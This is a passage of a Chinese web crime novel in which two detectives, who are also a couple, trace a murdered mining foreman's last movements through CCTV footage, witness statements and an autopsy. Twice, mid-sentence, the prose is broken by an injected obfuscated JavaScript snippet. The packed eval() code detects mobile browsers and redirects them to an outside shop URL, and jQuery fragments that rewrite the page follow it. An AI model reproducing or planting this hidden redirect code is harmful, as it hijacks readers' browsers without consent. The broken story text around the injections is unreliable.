“对啊,这里的电路都是一起的。而且扯电闸的话,被发现了还可以说是跳闸。只扯监控,太明显了。”
“之后他还出现过么?”
“没有了。倒是挖矿的工人前天晚上又进去了一下。”
“2号晚上?”
“对。”
为什么陈海波要深夜一个人去黑独山?
出来之后又去了哪里?
如果在外面遇害,凶手为什么要大费周章把人运回黑独山埋尸?
如果在黑独山遇害,2号进去的工人队伍里,陈海波是否混到了其中?
事情的真相似乎揭开一层帷幕,又似乎比之前还要复杂。
做完笔录,赵与立即给四组的组长刘在忠拨去电话:
“老刘,调一下2号凌晨1点之后案发地附近的监控。有目击者看到死者1点多离开黑独山,看看能不能从监控查到他的行动路线。”
“好,收到。”
安排完工作已经是下午两点半,赵与猛然想起还没吃饭,折回办公室,打算叫上柳回笙一起去吃点东西。
谁知工位空无一人。
一旁,啃汉堡外卖的谢可从工位蹿出一颗头:
“赵队,你没去吃饭吗?”
赵与点了点头:“正准备去。”
随后问:“你看到柳回笙了吗?”
谢可朝走廊北面指了一下:
“她刚说去上厕所来着,还没回来呢。”
“好,谢谢。”
“你俩要一起去吗?现在好晚了,我这儿还有个鸡腿,你要不要垫吧一口?”
“不用了,谢谢。”
赵与跟柳回笙的关系没有公开,从前在蓊城的时候,也只是重案组的几个人知道。如今到了蓊阳,众人都还以为她跟柳回笙只是普普通通从同一个地方调任共事的同事情。
她不敢表现得太明显,只像队长关心普通队员那样。可临近洗手间,听到柳回笙的干呕声,脚步嗖地就蹿了进去。
“阿笙!”
14.挖矿(二)
“阿笙!”
赵与飞快闪进卫生间,里面一共6个隔间,只有第1间的门是关着的。于是快步上去,轻敲了几下门。
“阿笙,你怎么样?”
“嗯......没事。”
柳回笙的声音透过门板传来,虚弱得几乎只有气音。
赵与一颗心都悬了起来,手扶上门板,低声说:
“你先开门,我看一下。”
门板对面传来摩擦声,像掌心撑在上面起身时发出来的。啪嗒一声,门锁从里面转开,门板松动之后向内侧推开,露出一张没有血色的脸。
赵与连忙抓住她的胳膊,另一手搂着腰将人往外带:
“怎么回事?”
柳回笙绵软地靠在她身上,身体还算有力,半靠半走地挪到洗手池前,洗完手后,接水漱了两下口。
“没事,就是有点干呕。”
她说。
赵与一听,心里开始责怪自己:
“是不是没吃饭饿的?我点个外卖,等下吃一点。或者回去先喝点热水,暖暖胃。”
赵与平日严肃又低调,什么情绪都锁在那两条眉毛力,从不对外显露。
每每破功,柳回笙都会占个一亩三分地。
如今又是这样。两人说好在单位公事公办,只做普通的同事。但柳回笙稍微不舒服,赵与就跟听到紧急集合的号声似地撵了上来。仿佛顷刻脱掉了身上的警服,又变回当初那个跟在柳回笙身后手足无措的高中生。
“呵......”
柳回笙侧靠着洗手池,尽情欣赏赵与脸上每一个跟平时不同、却跟她柳回笙息息相关的表情。
少年老成是世界上第二可爱的人格,第一可爱的,是看似老成的表面之下,内心深处仍旧是个少年。
“赵与,你怎么这么可爱的?”
赵与一听,两道眉毛触电般陡然起立,嗔怒地骂她:
“身体不舒服还开玩笑。”
柳回笙微微偏头,一缕濡湿的鬓发卷曲着挂在脸颊上,红唇微启:
“我才没开玩笑,你知道你刚有多可爱么?”
“啧。”赵与不悦,“你到底怎么样了?胃还难不难受?”
“难受啊,难受死了——”柳回笙故意拖长尾音。
果然,赵与脸上那股子责怪荡然无存,连拽着胳膊的动作都轻柔了一些。
“我扶你过去休息一下。”
柳回笙不依:“这不行。”
赵与问:“怎么了?”
“除非你亲我一下。”
“你!”
赵与被她这一逗得差点破功,万幸身体还残留着“人在警局”的正气,否则要是像在家里那样,铁定会因为脸红被柳回笙追着拍照。
“呵呵呵......”
柳回笙被她进退两难的模样逗得大笑,虚弱的身体险些没撑住,翩翩然就要倒,还好被赵与眼明手快拉了回来。
“Madam,耐力有待提高啊。不然被人发现了怎么办?”
赵与却说:“发现就发现,哪条法律规定我不能跟你在一起?”
话是这么说,道理也都明白,可人在仕途,出柜哪有那么容易?
柳回笙眼中划过一丝伤感,只有一丝,转而就被赵与眸底炽烈的爱意烧成灰烬。
唇畔生花,轻嗯了一声,说:
“扶我过去休息吧。”
两人一起回到办公室,一大队绝大部分队员还在外面办案没有回来,仍旧只有谢可一个人。她见两人搀扶着回来,捧着她的汉堡盒就凑了上去。
“赵队,你们怎么啦?柳警官,你脸色好差,还好吧?”
柳回笙朝她浅笑:
“没事,胃有点不舒服,喝点热水就好了。”
“哎呀,那是不是饿的呀?我那儿还有个鸡腿,没吃过的,给你垫一下吧?”
“不用,我现在吃不下东西,你吃吧。”
“你别跟我客气嘛,柳警官,大家都在一个组里,互相照顾是应该的。”
“你才是别跟我太客气。”
“我?我没有哇。”
“一口一个「柳警官」,还不客气?”
“那我这,这是讲礼貌嘛。”
“以后叫我「笙姐」就好了。”
“也......好,那我就叫你笙姐啦!”
“嗯!”
两人你来我往地说着,刚用热水冲好葡萄糖的赵与回来,把水杯塞柳回笙手里,阴阳怪气说:
“好了,笙姐,喝点水吧。”
谢可没发现两人之间诡异的氛围,更不可能知道此时的赵与突然叫“笙姐”是因为吃醋,更更更不可能知道产生这场醋的源头,就是她善解人意的谢某人。
“呵呵,对,喝点热水,胃能舒服点。”
乐呵呵笑完,不知死活地问赵与:
“赵队,你也叫「笙姐」啊?”
之前好像没听到过......
柳回笙勾唇浅笑:“嗯,我比她大。”
赵与皮笑肉不笑:“昂。”
谢可尚不知身入险境,脸上春风明媚:
“真的啊?我以为赵队会大一点,毕竟是队长嘛。不过话说回来,赵队,你可能不知道,我考警察,有一半的原因都是因为你。”
“嗯?”
赵与愣了一下。
“真的。”
谢可解释:
“之前我去蓊城交流过,那个时候你还在重案组呢,破了一个组织卖Y的案子,我学到可多东西了。尤其抓人的时候,你布置的抓捕路线跟天罗地网一样,把那些人一网打尽,别提多帅了。从那个时候起,我就决定,我一定要考上警察,而且还得考刑警。”
赵与努力从谢可的描述中回忆往事,终于脑海里闪过一个齐刘海短发的面孔:
“我好像有点印象,你那个时候是短头发对么?”
谢可猛猛点头:
“对对对!当时成天训练,我就剪了个短头发。”
这一问不打紧,柳回笙的胃病却在不知不觉中自愈了,她温和地勾起嘴唇,问:
“你去蓊城学习,那是什么时候了?”
谢可说:“大四,得有三四年了吧。”
柳回笙初初一算——正好是赵与去执行卧底任务之前。
换言之,谢可再晚一点去蓊城,就碰不到赵与了。
偏偏不早不晚,怎么不是一种缘分呢?
“是有点久了。”
柳回笙若有所指:
“过去这么久,赵队都还记得你,说明你很优秀,给她留下了很深刻印象。”
谢可不好意思地挠头:
“嘿嘿,有吗?我就是一般般优秀啦。”
柳回笙补刀:“而且你进警队是以赵队为榜样,眼光不错,赵队的确很优秀。”
谢可浑然不知水有多深,只是天真地跟单位前辈一起吹捧自家偶像:
“对对对!你都不知道,我知道赵队要过来当我领导的时候,我有多高兴!比做梦还高兴!”
柳回笙笑不露齿:“嗯,当然的了。”
时间这么过了几分钟,谢可回工位解决剩下的鸡腿,柳回笙继续喝带葡萄糖味的温水,赵与眼观鼻鼻观心地闭嘴。
过后,三人分别投入工作,谢可在电脑前梳理保安陈光的口供,柳回笙检查今天录口供时不同人的视频录像,赵与则在黑板上面画出景区大门的简易图,还原当天陈光跟陈海波分开时的场景,随后对比刚从景区拿回来的大门监控。
吃过外卖后,四组的组长刘在忠带着黑独山附近道路的监控回来了。
“赵队,前后17组监控都调回来了,要现在看吗?”
赵与立即从工位上起身,走过去问:
“2号凌晨的调了吗?”
“调了的,我把监控按照路段大概分了个类,如果是从黑独山大门出去的话,这几个路段应该能抓拍到。”
刘在忠拿出贴着“1号”的硬盘。
“很好。”赵与接过硬盘,“这里面一共多少组?”
“6组。”
“好,大家过来一下。”
赵与叫上一组和四组的成员:
“目前的情况,是有目击者在2号凌晨1点多看到死者从黑独山离开。景区的监控当时没有运作,只能看到死者抵达时的一小段,之后他从山里出来,离开去了哪里,我们只能通过监控排查,摸出他的行动路线。”
她说着扬起手里的硬盘:
“监控内容我等下上传到网盘,里面一共6组,刚好1人看1组,着重观察2号凌晨1点之后的摩托车。蓝黑拼色雅马哈,车牌蓊C243652426,车子的照片我放在第一级的文件夹了,大家可以先看一下。”
“好。”
“收到。”
“没问题。”
6个人纷纷坐回工位,按分工点开自己的那份监控文件夹。
赵与跟柳回笙分别拿到距离保安室1.8公里和2.6公里的路段监控。
一时之间,办公室没了声音,只有偶尔一两声鼠标的点击。
众人拾柴火焰高,没多久,就有好消息传来。
“赵队,我这里有发现,死者
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599758|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在1点33分的时候经过了大圣路,方向朝南。”
“我这里也有,1点36分的时候在海神女的雕像右转,拐进了升平路。”
赵与点头:“好,把目标出现的片段截取出来,以便之后画路线图。”
吩咐完,继续回屏幕前看自己那份监控,余光扫过柳回笙,却被刺扎了一下,转头看去,果然,柳回笙正两眼直勾勾盯着屏幕,好看的眉锁在一起。
似心有灵犀,柳回笙也看向赵与,目光接触的刹那,一股不详的预感从心底滋生。
“你过来看一下这个。”
柳回笙的声音不高不低,整个办公室的人都听到了。
随着赵与过去,其余几人也陆续起身,围到柳回笙电脑前。
画面里,陈海波驾驶的摩托车从远处驶来,离监控还有几十米的时候,挂在把手上的水壶突然掉了。
于是,陈海波刹停,单脚落地下车,扶着车身用脚去车底探偏脚,探了5下,才吃力地把偏脚掰出来撑好。随后转身,去捡滚到马路中央的水壶。
监控里,陈海波穿着保安说的那件牛仔衣,头戴钢盔,挡风玻璃是扣死的,脑袋挡得严实,但身上的衣服、摩托车的车牌,都跟陈海波对得上。
“他这个速度好快,肯定超速了,不然水壶不会掉的。”
“也不知道去干什么,着急忙慌的。”
“他这个撑偏脚的动作......”
柳回笙颔首,“偏脚”正是她一开始注意的重点:
“他撑了5次偏脚,但看这个摩托车,感觉很旧了,不是新的。陈海波就算再不爱骑摩托,至于这么不熟悉么?”
谢可认同这个观点:
“就是的,我那个小电驴,我闭着眼睛都能撑起来。骑久了身体自己都有记忆的。”
柳回笙仰头问后方的赵与:
“你怎么看?”
赵与目光凝重,一双眼睛几乎将屏幕剥开:
“偏脚是一个点,但是......”
“什么?”柳回笙问。
“稍等。”
赵与记了一下柳回笙暂停的时间,回到自己的工位,点开对应的视频,停到相同的位置,然后分屏,点开先前刚看过的,陈光在1号晚上抵达黑独山时拍到的画面。
两组同时放大。
同样的衣着,同样的头盔,同样的鞋,同样因为某个原因开始小跑。
黑独山的监控里,陈海波小跑时膝盖弯曲,步幅偏小,目测70-90公分。
公路的监控里,陈海波小跑时膝盖用力,两腿呈弓步张开,步幅偏大,目测110-130公分。
“跑步的姿势可以推测一个人的年龄。一般上了年纪的人,尤其长期从事体力劳动、膝盖受损的人,跑步的时候会弯曲双腿,以减轻腿部压力,同时防止重心不稳摔倒。而年轻人大多没有这种顾虑,他们跑起来腿部比较用力,呈弓步的形状。短时间内,一个人的跑步姿势是不会变的。”
赵与的分析说完,柳回笙点头表示同意,并且补充了一个细节:
“同样,抽烟习惯也不会轻易改变。”
从死者身上搜出来的烟是「金山寺」,市场价48。
而2号凌晨陈光收到的从“死者”手里扔过来的烟,是「腊梅」,市场价18。
吸烟的人一般都会有一个偏好的价位,不会轻易变动。尤其,黑独山一带没有超市,买烟困难,工人们大多都是一整条带去工地,极少零购。
一个可怕的念头从空气里滋生出三九天的寒气,细面子雪在空气里穿梭,发出微弱却尖细的摩擦声。
“赵,赵队,你们的意思是......”
谢可没能问完一整句,只觉得脊梁骨都凉透了。
赵与颔首:
“公路上这个人不是陈海波,真正的陈海波,应该在1号晚上就已经遇害了。”
阴风阵阵的原始山脉沉睡在深夜的笼罩之下,身穿牛仔衣的男人从皮卡的驾驶座跳下,熄火,关门。一柄手电筒将黑夜烫了一个洞,苍白的光柱宛如死尸褪色的脸,左扫半圈,右扫半圈,摇摇晃晃,瞄准保安头子陈光的铁皮房。
“四哥,你咋这么晚哦?进去整啥了?”
回答陈光的是扔进窗口的半包腊梅烟,来去神秘的男人只是转身,扔下一句“走了”,随后关掉手电筒,骑着摩托车扬长而去,消失在凌晨的黑夜中。
毒蛇缠上脚踝,冰凉的体温在皮肤表面留下一圈濡湿的印记,分不清是空气里的水汽还是獠牙溢出的毒液。低温顺着脚腕飞速蔓延到全身,顷刻之间,整个被窝爬满毒蛇。
15.事故(一)
保安陈光最后看到的人不是陈海波,这个推论成立之后,死亡时间陡然缩短到1号晚上20点到2号凌晨1点28。
一个,是陈海波最后一次出现在黑独山监控里的时间。
一个,是凶手伪装的陈海波第一次出现在公路监控里的时间。
“这么看来,就是那天晚上进去就被杀了。”
“凶手杀了人,然后换上死者的衣服跑出来。但他这细胳膊细腿的,怎么搬尸体起来换衣服?”
“换外套就够了。死者的裤子和里面那件都是工人服,很多人都有。”
“但凶手又是怎么进去的呢?会不会是保安亭里的人?”
“虽然看不到脸,但从体型上来看,跟笙姐的侧写还挺吻合的。”
“凶手扔给陈光的那半包「腊梅」我带回来了。”
赵与陈述到:
“陈光前天抽完扔在垃圾桶里,还没倒。上面有可能检测出凶手的DNA。加上死者身上的衣物检测和掉落的毛发检测,也能提取出DNA。”
柳回笙也更新了自己的侧写结果:
“根据目前得到的线索,侧写内容有进一步的补充,综合所有线索,我认为凶手画像为:男性,18-30岁,身高170-175,体型偏瘦,左撇子,不吸烟。挖矿事件知情人,很可能是矿工或者矿工家属。”
说完,谢可小心翼翼提出一个疑问:
“笙姐,不吸烟这一点是不是有待商榷呀?凶手不是也带烟了吗?还拿去给陈海波。”
这一点的确容易引起争议,谢可说完,一旁的刑警也点头表示同意:
“也有可能他是抽烟的,只是刚好那天晚上没抽,所以那包金山寺才只抽了陈海波那一根。”
柳回笙不以为然:
“那包「金山寺」的确是凶手买的,但是买去跟陈海波拉拢关系的。如果他有抽烟的习惯,一包价格不错的新烟开封,通常是一人一根。而正是因为凶手买的是「金山寺」,而不是陈海波平时抽的「腊梅」,更加说明,他对烟并不了解。只是去买了一包价格比较高的烟,拿去跟陈海波套近乎。并在杀人之后,拿走了他的腊梅。”
谢可犯嘀咕:“人都死了,还拿烟干嘛?”
柳回笙解释:“常理来讲是不需要。但,他还有一件事没有做完。”
谢可突然灵光一闪:
“噢——我知道了!他要拿出去给那个保安!”
柳回笙点头,道明这包烟牵扯出来的最终线索:
“所以,凶手不光跟死者关系好,还知道,他每次出来之后会给保安递烟。”
由此,柳回笙的侧写才会出现那句——挖矿事件知情人,很可能是矿工或者矿工家属。
赵与用油笔在白板上画出简易的人物关系图,箭头的终点都指向一个身份——
矿队。
“我在群里更新了线索,除了还在执行任务的队员,一组和四组变更一下任务内容——
一组,继续审讯陈光,让其提供矿队名单。
四组,前往工地,带矿队的人回来协助调查。老李的二组也在工地,可以跟他们一起合作。稍后我会通知调查陈家村的三组,让他们盘问一下是否有村民知道挖矿事件。”
刚说完,三组就打来了电话:
“赵队,有新发现。”
“你说。”
“死者的老婆「王山红」身上有旧伤。我们追问之下,她承认时常遭受死者陈海波的殴打。”
“殴打?”
“对,邻居也证实了这一点。陈海波每个月会回陈家村一次,每次回来都会打她。”
“还有其他发现么?”
“我们在她家搜到百草枯和老鼠药,这两个东西很多农户家里也有。但,他们那个智力缺陷的孩子跟我们说,亲耳听到过王山红说想杀了陈海波。”
百草枯和老鼠药对于农户来讲比较普遍,但,如果因为遭受殴打而动了谋杀的想法,买凶杀人、教唆杀人,有很多办法能给自己创造不在场证明。
赵与的大脑飞快运转着,问:
“王山红是吧?人呢?”
三组组长陆鹏说:
“我打算带回来做个详细的笔录。目前来看,她确实有点可疑。今天早晨她还没去现场,就带了一大群人去市局闹,好像提前知道陈海波死得很惨,特意过去做戏。”
“你先把人带回来。”
“好。”
王山红很快被三组从大尧岛带回了蓊阳市局。一同过来的,还有那个智力缺陷的孩子,以及平日关系不错的4个邻居。
死者太太王山红:
“我男人每次回来都要打我。有时候拿柴火棍,有时候拿火钳。他说,都是因为我这个扫把星,生的儿子才是个智障。可是我之前生的两个女都是好的,是他不要,背着我拿去送人了。后来生儿子的时候,我摔了一跤,不知道是不是这个原因,生下来,养了几年,就发现脑子不正常。”
邻居宋阿妹:
“陈海波那个人,表面风风光光,实际上动不动就打他女人!我都听到好多次。有一次我过去劝,他还朝我吼,说要拿我一起打。所以说这个男人,不管他在外面挣多少钱,多风光,回来要打老婆的,都要不得!”
邻居张强:
“四哥对我们很好。他去城里头打工,把我们村有劳动力的基本都喊上了,有钱大家一起赚。我们屋里这个房子就是我爸打工回来修的,天然气、瓷地砖、洗衣机,什么都有。要不是我断了一条手,我肯定也一起去了。要说打老婆,哪个男的不动两下手嘛?我爸有时候也会动手,但我妈从来不说什么,归根结底都是夫妻,床头打架床尾和。”
邻居孙兰:
“我们家在他家坡下面,打人倒是不怎么能听到,但红姐脸上确实有时候有伤。我问她,她就说是自己摔的。”
邻居陈大应:
“打老婆?不得不得,四哥那么好一个人,不可能跟老婆动手的。你们是不是搞错了?他每次出去,但凡能赚钱,都是喊着我们去的,对外人都这么好,何况是自己人?”
问一圈下来,殴打王山红这一点基本可以做实。但王山红是否对陈海波产生过杀心,这点有待验证。
死者太太王山红:
“我怎么可能杀他呢!警官,我不会的!虽然我真的很多次想着同归于尽,但是如果我们两个都死了,孩子怎么办?他自己没办法生活的!我为了孩子也不会动手的!”
邻居张强:
“保不齐,红姐这个人平时不吭声不做气的,跟四哥夫妻感情又不好。我以前还经常看到她去找许老幺,保不齐两个人还有一腿。要不是许老幺后来出事死了,红姐怕不是要红杏出墙。”
邻居张兰:
“许老幺是我男人,几个月前走的,在工地上面出了事。四哥还帮我们要到了6万块的赔偿费。要不然,我儿子今年的学费都交不起。给钱的时候,红姐好像有点不高兴,应该是想着四哥在我们这个事情上面奔波了,想分点钱。后来四哥没同意,把6万都给我们了,她还在旁边说,说‘你死个男人赚麻了,6万块你以后的棺材本都有了’。但是,一个好端端的家庭,哪个会想拿男人去换这6万块钱嘛......”
接下来,是关键的挖矿事件。
死者太太王山红:
“警官,你们都查到这里了,我也不瞒你们了。对的,他是搞了个矿工队去挖矿,刚开始运气好,挖到了一个什么黑金,说是很管钱。那个老板就让他多找点人,当时我们村里男男女女都去了,白天在工地打工,晚上就去挖矿,工资另外结,180一天。”
“挖矿的时候有没有出过意外?”赵与问。
“这个......有倒是有。警官,毕竟是矿洞,而且又不是专门搞这个的,危险是肯定的嘛。”
“出过什么事?”
“一开始是矿洞塌了,死了朱老二。我男人就去找老板,给他们家赔了9万块。后来没过多久,许老幺也出了事,赔了6万。然后是陈老六,也是6万。本来一开始的工资是120一天的,但是出事太频繁了,后来才涨到180。”
邻居张兰:
“其实也是怪我,要不是我想着儿子要高考,天天晚上下晚自习回来没人做饭吃,我肯定会跟他一起去的。要是我也去了,肯定能互相照看着,他就不至于掉下去摔死了。”
邻居张强:
“许老幺还不是自己该?我爸回来都跟我说了,他自己没看到路,踩空了,从很高的地方摔下去的。我爸他们下去三个人才捞上来,当时就没气了。”
邻居宋阿妹:
“其实张大姐还是蛮造孽。她一直都身体不好,所以他男人才出去打工,说多找点钱。本来说等许建邦考上大学就轻松点了,许老幺又不在了。现在她也只有许建邦这一个盼头了。”
口供录了一整个晚上,柳回笙用2倍速看完了所有人的录像,下来时,两只眼睛红得不像话。赵与趁没人给她做了眼部按摩,又滴了眼药水,这才终于好一点。
“看出什么了?”等柳回笙缓过来,赵与问到。
柳回笙整理了一下思路,说:
“宋阿妹跟张兰没有说谎,王山红说她不会杀陈海波的那里也没有说谎。张兰提起丈夫出事故去世、自责自己没有一起去的时候,有一个愧疚的手势,表现比较合理。并且提到死者妻子去找她要钱,表情也是委屈、不甘心、痛苦,没有仇恨。整体比较正常。倒是这个张强......”
赵与点开张强的笔录,回忆说:
“他全程在帮陈海波说话,还指控死者妻子有红杏出墙的嫌疑。”
柳回笙点头:
“对,但他很多话都是编的。”
“编的?”
“对,包括他说死者妻子跟许老幺关系亲密,以及他父亲会打他母亲。”
“也就是说,他冤枉自己的父亲殴打母亲?”
“对。他说这句话的时候出现了克林顿手势,眼睛跟手指的方向不一致,音调也比之前高。”柳回笙调出对应的监控画面。
画面中,张强的确眼睛盯着警察,右手食指却朝身旁的方向指了一下。
赵与单手撑在桌上,思路往深一层挖掘:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604520|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“他为什么这么做......就为了帮陈海波说话,让我们相信,家庭暴力在陈家村很常见?”
柳回笙点头:“大概是的。虽然没用,但好歹可以知道,张强一家跟陈海波的关系不一般。”
“张强的父亲好像是矿队的,我明天去工地问问。”
“好。”
整体的口供加上视频信息总结下来一共四点:
1、死者陈海波经常殴打妻子王山红;
2、陈海波带着村里不少户发了财,在村里口碑不错;
3、矿工队一共死过3个人,分别拿到6万到8万不等的赔偿;
4、张强一家跟陈海波关系匪浅。
“赵队,口供都在这了,是先梳理一下还是明天再说?”
老李喝了口浓茶,把今天拿到的线索和证据都上传到了网盘。
赵与抬头看了眼时钟,已经是凌晨01:55,想了想,问:
“你今天去工地,有没有什么发现?”
老李说:“有。陈海波平时一直住在工地,没干活的时候喜欢去炸金花。”
赵与问:“炸金花?”
“对,其实就是赌博的一种,一晚上下来好几万的输赢。我问了他们那个矿队的老板,他也证实了这个事情,而且陈家村的好几个都有赌瘾,有一个姓汪的,还欠了他十几万。”
殴打妻子、赌博、违法挖矿,陈海波身上的谜团越来越多,但谜团跟谜团中间,似乎又有一根纤细的鱼线将一切都穿插起来。
只要找到这根线,谜团便也迎刃而解。
“问话有录像吗?”赵与问。
“没有,不过有录音。我都传到网盘了,每一个标注了姓名和身份。”老李把界面调出来给赵与看。
“好,辛苦了,带你的组员先回去休息吧。我先梳理一下目前的线索,明天再做安排。”
“成。那你忙完也早点回去,现在也不早了。”
“嗯,我知道。”
随着李夏英离开,赵与也通知其他人下班回家。随后自己走到工位前,扎扎实实伸了个懒腰,两手朝上方拉伸,听到肩颈的骨头响了,才重新坐下,点开老李刚上传的工地组的调查结果。
点开第一段录音,刚放两秒,桌面就放上来一个袋子。
“嗯?”
仰头看去,是打印口供回来的柳回笙。
疲惫扫去大半,赵与起身,下意识往柳回笙的方向凑过去,问:
“打印好啦?”
柳回笙佯怒地瞪她一眼:“打印好了,也签完字了,所以我才有空来看看,有个人是不是又打算通宵啊?”
赵与当即心虚,瞄了眼墙上的挂钟,说:
“没有,我就是想着等你,就听个录音,看看能不能找到新线索,反正闲着也是闲着。”
柳回笙侧靠着办公桌,用眼神指了一下桌上的袋子:
“闲着是不是也能吃点东西?”
赵与笑了,忙打开袋子,干事分装的米粉还散发着刚出锅的温度。
“哎,这就吃。你要不要也吃两口?”
柳回笙嫌弃她记性不好:
“12点你才说我会饿,给我点了个肠粉,现在还没消化呢。”
“你胃不好,少食多餐。”赵与利索地把米粉倒进汤碗里搅拌,“要不要来两口?”
“不来,我饱着呢。”
“那喝口汤。”
“行,刚好有点渴。”
“慢点,我给你吹一下。”
“我自己来,又不是小孩子。”
“我帮你吹,我帮你吹。”
“烦死了你......”
“我不烦。”
“喂你!干嘛亲我啊......”
没有其他人的办公室里,两人开始吃骨汤米粉。
其实不光柳回笙,赵与的肠胃也不好。从前办案的时候,着急起来几天几夜不睡觉,就为了抓人。其实很多时候大可不必那么着急,但她总说,早一天抓到嫌疑人,就早一天为死者沉冤昭雪。
柳回笙知道,所以没催着回家,只是在她扎堆在资料里不知道时间的时候,给她点一碗热腾腾的外卖。
两人边吃边放录音,听完工友的听包工头的,打算吃完米粉先回去,明天再在开会的时候统一讨论案情。
那时赵与正在解决最后两口骨汤,混着截断的米粉在嘴里嚼着,录音里传来的内容却让她那口汤如何也咽不下去。
那是矿工队的老板李豪:
“工人确实出了事,但我已经把我能做的都做了。第一个赔了20万,后面两个也赔了18万。警官,说实话,那些挖出来的矿我这个月才开始卖,之前一直是我在垫钱。那个50几的大爷我都赔了18万,很够意思了噶。出了事情我也不想的嘛!”
平和的语气从黑独山顶落下磐石,轰的一声砸到地面,扬起三丈尘土——模糊的硝烟之间,隐隐约约显露出一个之前从未出现的物体的轮廓。
矿老板赔的是20万,而村民口中的赔款,最多的那个也只有9万。
剩下的钱,去哪了?
16.画像(一)
矿队老板李豪的口供在漆黑的公路引出另一条匝道,路口大开,却没有照明,脚下光辉只够照亮方寸之地,顺着匝道越来越淡,直至被黑暗吞噬。
赵与回忆今晚给陈家村几人录的口供,思索到:
“根据陈家村的口供,他们得到的信息是一致的,赔款在6万到9万不等。包括死者的太太也是这么说的。”
“我看了他们的录像,在这一点上没有说谎迹象。”柳回笙补充。
“所以,陈海波很可能中饱私囊,把赔款吞了。”赵与只想到这个可能。
“嗯。而且陈家村绝大部分人的教育水平不高,很多都不懂法,工地事故只拿到几万块的赔款,也没人觉得奇怪。”
“甚至,王山红还觉得6万块算多的,去找遇难人妻子数落了一顿,指责她不给陈海波分钱。”
“但其实,陈海波早就在中间吞了大头。”
“所以,他才会在回村的时候装大方,把6万块都给了遇难人的家属。村里人还会觉得他仗义,越来越多人跟他去挖矿。”
两人的推理颇有默契,很快就整理出一条前后自洽的逻辑链。
链条拉扯之间,尽头拖拽的物件七零八落地下坠,仔细看去,是一个包装完美的人格表面,那些关于大方、仗义、无私的标签。
统统剥落之后,焦黑的骨架冒着青烟,烟雾翻滚出若隐若现的根骨:奸诈、暴力、自私。
次日开会,赵与把到手的线索分析了一遍:
“目前,我们可以得到的信息是:死者陈海波,白天在工地务工,晚上前往黑独山进行非法挖矿。截止昨晚,我们发现几个比较可疑的点:
一,死者有赌博的习惯,曾经一晚上输过7万块,但死者家属不知情;
二,矿队出过3次事故,矿老板给的赔偿金在18万到20万不等,但遇难人家属到手的只有6-9万。中间的差价,有可能被死者侵吞;
三,死者有殴打妻子的习惯,暂时没找到妻子报复杀人的证据,但不排除这个可能性。
目前来看,凶手寻仇的概率比较大。结合他知道挖矿事件,并且知道死者每次挖矿出来会给保安塞烟,再加上埋尸地点在去矿洞的路上,我们综合推测,凶手是矿队的成员,或者他们的家属。”
随后,其他分头调查的组别也派代表总结前一天的调查结果。
李夏英第一个发言:
“据查,矿队一共有13个人,全都跟陈海波一起住在工地的工人宿舍。矿队和工地都是月底发工资,那两天就会有很多赌局。陈海波目前在赌局上输的钱超过20万,但均没有欠债。符合侵吞赔偿款的推理。
工友最后一次见到死者是1号晚上18点半左右,死者跟工友一起吃了晚饭,说欠了债,要出去躲几天。后来一去不回,工友只以为他外头避风头,就没有报警。”
听到这里,本该后一个发言的法医沈清提前举手。
赵与问:
“怎么了?”
沈清推了一下眼镜:“赵队,我有个情况想先汇报一下。”
赵与点头:“好,你说。”
沈清将尸检报告往前推了一截,让身边的同事传给赵与,随后不依靠任何资料,将报告内容一一说出:
“依据目前尸检的结果,推测死亡时间在1号晚上19点到2号晚上24点。死者后脑的伤口是致命伤,伤口在后方偏左,符合之前的左撇子推测。
同时,昨天我们争取到家属的解剖同意书。我们解剖了死者的消化道,发现胃部有大量没消化的鸡胗和鸡肠,推测死亡时间在饭后1小时以内。如果死者18点半左右吃的饭,那么在19点半之前,就已经遇害了。但是在监控里面,死者20点还出现在过黑独山大门,并且拍到了正脸,证实他当时还没有死亡。
这一点,跟李警官调查的线索有所出入。”
如果死者的死亡时间在饭后一个小时以内,最后一餐便成了重要线索。但工友那边的说法,是死者18点半还在吃饭,而随后又在20点出现在了监控画面里。
赵与沉思了两秒,问法医:“十二指肠解剖了吗?有没有胃部食物。”
沈清点头:“解剖了,没有胃部内容。通过消化道的食物消化情况反推死亡时间,是尸检的一个重要手段。如果胃内充满未消化食物,那么死亡可能发生在餐后1小时内;如果胃内食物较多但是部分变软,同时在十二指肠发现相同食物的食糜,那么死亡可能发生在餐后1-3小时;如果胃内食物基本排空,仅少量残留,十二指肠内有大量食糜,死亡可能发生在餐后4-6小时;如果胃和十二指肠均已排空,那么,死亡可能发生在餐后6小时以上。综合这些情况,可以判断,死者陈海波的死亡时间应该在餐后1小时以内。”
沈清的专业能力毋庸置疑,说清了判断依据和不同情况对应的结论,众人都明白,陈海波的死亡时间基本已经确定。
但,工友的口供里,陈海波最后一餐是在18点半吃的。
难道,之后陈海波又去吃了其他东西?
会去哪吃?
赵与突然想到一个人——保安陈光。
“景区大门的保安提到过,当晚死者去找他,跟他说,自己即将要发一笔财。但跟工地的人说的,却是要出去躲债。如果躲债是真的,大可不必去矿洞,回大尧岛就行。”
赵与的语速慢了下来:
“这么推,发财的真实性更高一点。陈海波之所以瞒着其他人,是想自己独吞。因此,他更要跟保安打点关系。当天他去黑独山的时候,很可能除了钱,还带了其他东西。”
